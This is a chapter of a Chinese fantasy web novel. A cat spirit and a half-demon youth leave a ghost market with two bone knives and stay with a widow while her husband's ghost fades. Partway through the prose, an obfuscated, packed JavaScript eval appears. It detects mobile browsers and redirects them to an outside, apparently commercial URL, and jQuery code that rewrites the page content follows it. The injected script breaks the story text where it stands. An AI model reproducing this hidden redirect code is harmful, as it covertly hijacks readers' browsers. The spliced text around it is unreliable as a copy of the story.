“走吧,算着时间珍娘应该到家有两日了。”容岫翘着尾巴率先往山包下走,“要离开鬼市,得找一棵还有木妖供养的柳树。”
猫儿鼻尖追逐着一只萤妖,原地打了个转儿,尾巴尖儿一勾一勾的,看得出她此刻很是愉悦放松。
回头时瞧见阿琰欲言又止的模样,她连忙打住他的提问:“外界传言不假,碧落封界八百年确实只能出不能进,但我也不知道为什么这规矩对我无用。你要是想问我这个问题,我也回答不了你。”
但若要问她是如何发现自己可以自由进出鬼市的,那便要从师父仙逝后,那场毁天灭地的地动说起。
容岫回忆道:“运河开凿没几年,西南十三州发生了一场地动,此灾劫过后,无妄祠后山林中漫上一汪月牙小谭。那些七窍未开的普通飞禽走兽若是喝了或洗了潭中水,轻则毛发脱落,重则穿肠烂肚。本姑娘的地盘里发生了这等大事,我自然要下水去瞧瞧的,谁知道一下水就来到了此间。”
神祠后的月牙小潭?
宋今琰倒是印象深刻。
潭水深度只没及胸口,他在其中并未觉察其他通往地下的暗流,况且那水明明有愈伤固魄的奇效,何来毛发脱落之说?
碧落的结界十分特别,不同于妄妖在外界利用怨煞之气筑造的妄境,碧落之中已然自成一方天地,很多规则连久居此间的大妖都不知道如何解释。如此呕心沥血的术法,其中关窍可不是容岫久居西南就能摸索出来的。如此,宋今琰倒也没再深究,静静观察着街上众妖的买卖。
容岫目光随阿琰一同看向街市两旁的交易。
果然听他道:“鬼市里流通的竟然也是大庆的铜钱。”
容岫知道他想说什么,点头道:“鬼市里大庆朝几代货币混着用,说明外界的东西也有进来的门路,只是数量着实不多,如此也能肯定可以随意进出结界的绝对不止我一个。但碧落保护的是妖族万万子民,守口如瓶的规矩还是晓得的。”
可惜待明年年末新帝登基,话本剧情就此展开,那么距离楼飞雪找到出入此间的线索也不远了。
满打满算离结局到来也只剩三四年的时间。
只是话本着墨的是女主与男主在庆京重逢并假结婚后发生的感情纠葛,故事视角多为女主在高门中的后宅危机,男主楼飞雪的事业线都是草草带过,她能从话本里掌握的有关鬼市的线索少之又少,连时间线也模糊不清。只能边做任务边顺藤摸瓜了。
容岫走在前边,未察觉宋今琰驻足在了一家刀具铺子前。
鬼市里几乎都是骨制的器具,庆京器物阁里动辄几百上千两的狼骨刀,在这里竟只要几百文铜钱!
等容岫回头,见阿琰离她已有一段距离,惊出一身冷汗,他身上有外界的气息,碧落里鱼龙混杂,对外界的气息很有敌意,这稍不留神可是要惹麻烦的。
便几个纵身跃回少年肩上,哼哧道:“你想被群殴吗?”
宋今琰肩头一沉,闻言看了两眼铺子里精美的骨刀,转身要走。
“公子留步,若喜欢何不拿下?”
那猴脸细尾的掌柜踮着脚走过来,满脸堆笑地推销道:“我猴记打磨的刀可是出了名的好,砍骨剁肉不在话下,切菜雕花刀刀精准,碧落第一酒楼的厨子用的正是我家的刀呢!”
切菜?
外头被各路御妖师争抢的宝贝,竟然是用来给鬼市厨子切菜的?!
宋今琰终于是眉尾一抬,忍不住看了眼容岫,在神识中暗道容岫好家伙,有这财路竟然还能穷得叮当响。
只是这一眼倒是被掌柜的会错了意。
掌柜的见黑猫端端正正立在少年肩头,视线又落在了她斜跨着的小鱼袋上,了然道:“原来管账的是狸娘子。”
这猴妖顿时想到自个儿的家庭地位,朝容岫道:“狸娘子,你看你家郎君都站在这儿看半天了,不如就满足他这一小小心愿。”
此话一出,一人一猫俱是一僵。
“咳咳。”
“你想要?”容岫故作轻松地看向木琰,尾巴已经在阿琰背后甩出花来了,意思是:没钱了没钱了没钱了。
“想要。”
感受到背脊上的暗示,宋今琰佯装作不知,可怜巴巴地看着猫儿点点头,还得寸进尺地晃了晃两根手指,“两把。”
长的藏进靴中刚好,短的就别在箭袖的束带里。
容岫付了半吊钱,尾巴在他背上狠狠一抽,这痛痒感却让宋今琰心中暗爽。
待容岫重新寻到一棵无人所至的柳树,正摸找着小鱼袋里的寸地符,指着柳树下那口被木妖盘踞的古井气呼呼道“跳进去”时,宋今琰二话没说就翻身跳了进去。
不就是投完江又投井嘛,小事。
于是乎,亥时三刻,月明星稀,青州府城城郊的柳家村。
一个湿漉漉的少年打着青伞,紧紧抱着怀里的黑猫敲响了岑家的木门。
夜里寒凉,珍娘趿着鞋来应门。
见少年脚下的水渍从门前小河处一路淋漓到自家门口,郎朗晴夜却打着伞,大包小包还抱着猫,此情此景让她瞪大了眼睛一时不知所言。
宋今琰张口就来:“岑家嫂嫂,夜里太黑不小心落了水,可否让我和我的猫进屋烤个火?”
珍娘借着月光,认出了在昌芜县衙有过一面之缘的小道长。
瞧他在寒风里打颤,到底还是把这年轻人迎进了自家挂着白幡的院子里。
小院里本就生着柴火。
珍娘把宋今琰带进来后又去小厨里拿来两个木薯挨着火堆烤。
岑一白进屋看了眼熟睡的娃娃,又跟在珍娘身后进进出出。
他做鬼已经很娴熟了,放着大门不走,进出都是用脑袋一顶穿墙而过,现下蜷着腿坐到珍娘身边,一把鼻涕一把泪。
无妄伞被撑开在火堆旁,容岫裹着尾巴趴在阿琰脚边,扭过头不看他,静静等待岑一白的魂体完全消散后系统的提示音。
宋今琰拧干衣角,随意擦了擦马尾,烘烤起包袱里容岫在路上买来却还未穿的衣裙。
低头见容岫一团地趴在火堆旁,火光将黑色的毛发镀上一层橘黄色,煞是可爱,他偏要凑上前,故意在神识里逗她:“师姐也不早说投井之前需烧一道寸地符,可惜了新衣服还没穿就先湿透了,不如阿琰明日就去换了狼骨刀给师姐买新裙子。”
容岫一听,跳起来喊:“你敢卖!”
珍娘不知发生了什么,只见猫儿朝着那少年发出几声不着调的叫唤,少年的眉眼间就荡开了笑,她也跟着轻轻一勾唇角,又添了一把柴。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987572|193172||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>容岫反正是摸清了,木琰张嘴就能胡来,一路上能换八百张面孔,当时在赟州几声钟响的功夫就能天上地下两个情绪,她又盘了个圈儿坐下:“你小子同在无妄祠里的体贴小生简直两模两样!”
“那师姐喜欢阿琰什么样?”
神识里问完这句话,火堆“噼啪”响了一声,容岫脑子里似乎也有根弦跟着崩了一声。
她抬头,火束在夜风里跳跃,光焰映照着阿琰的脸,长睫垂下的阴影跟着乱风在他清俊的面容上晃动。
容岫想在这片阴影中寻找玩笑的蛛丝马迹。
谁知神识里又是少年的回音:“师姐希望阿琰是什么样,阿琰就可以是什么样。”
生母拱手把他让给宋家希望他活得像个人,他便受下父亲烙给他的咒枷认真学着做人;祖母希望他是宋家的端方君子,他就是端方君子;父亲希望他成为宋家最锋利的刀,他便在边关厮杀在妖塔里厮杀……
他惯常会在别人的模具里捏造自己的样子。
兄长笑他蠢,可这是妖在人间的规矩里摸爬滚打学做人最简单的路径。
此时此刻,他却很好奇容岫喜欢他哪一副模样。
谁知猫儿抬头望着他,像是听了什么很了不得的事情,耳朵慢慢后移。
“天生七窍全开的是人,飞禽走兽悟道天地得开七窍是为妖,生而有人的灵智和兽的通达是为半妖,怎能我想让你是谁你就是谁?”容岫翘着胡须,故作不理解:“倘若我希望你是只驰骋山头的猴子,你岂不是要去花果山认祖宗?”
“噗,哈哈哈哈哈……”
宋今琰先一愣,蓦地笑起来。
珍娘只当这小公子很喜欢他的猫了,都能看得笑成这样,也不禁莞尔,俯身用手去勾那火堆旁考好的木薯。
风又来,火舌打着卷儿一盛,就有火星子呲到珍娘手上。
岑一白见状鼓着脸去呼,却是白费力气,只能朝着能看见他的木琰道:“别笑了别笑了,你看都烫着我家珍娘了。”
珍娘却将手上那几点子灰烬一掸,也不看一眼留下的红印,自顾道:“要是一白在,铁定又急得跳脚。”
一人一猫噤了声,齐齐看向果然在跳脚的岑一白。
岑一白却不动了,眼泪再次唰一下涌出来。
可惜没等泪水落入虚空,他的魂体就跟着飞溅上天的火星子一起淡下了。是啊,珍娘一直都是顶顶厉害的女人,反倒他才是那个最让家里牵挂的,少时是,上了年纪也是,活着死了都是。
岑一白还没哭够,可这回是真消失了。
珍娘仍在添柴。
烘烤的衣服已经干了,宋今琰看着地上深深的火燎印道:“这火要烧到天亮?”
“他胆儿小,怕黑,家里烧把火,好让他晓得回来的路。”珍娘掰开木薯递给宋今琰,又道:“少时我就笑他,那么怕黑,怪不得取字一白。”
【叮——“害”级任务结算,功德+999】
容岫静静听珍娘回忆,却听得又是几声叮叮叮。
不是系统的提示,倒是从院子外头乌漆嘛黑的大路上传来的。
叮叮当当,像是在敲碗。
珍娘也听到了,却忙起身去门口落锁,道:“小道长,莫赶夜路了,今夜柳家家祠又在请魂了。”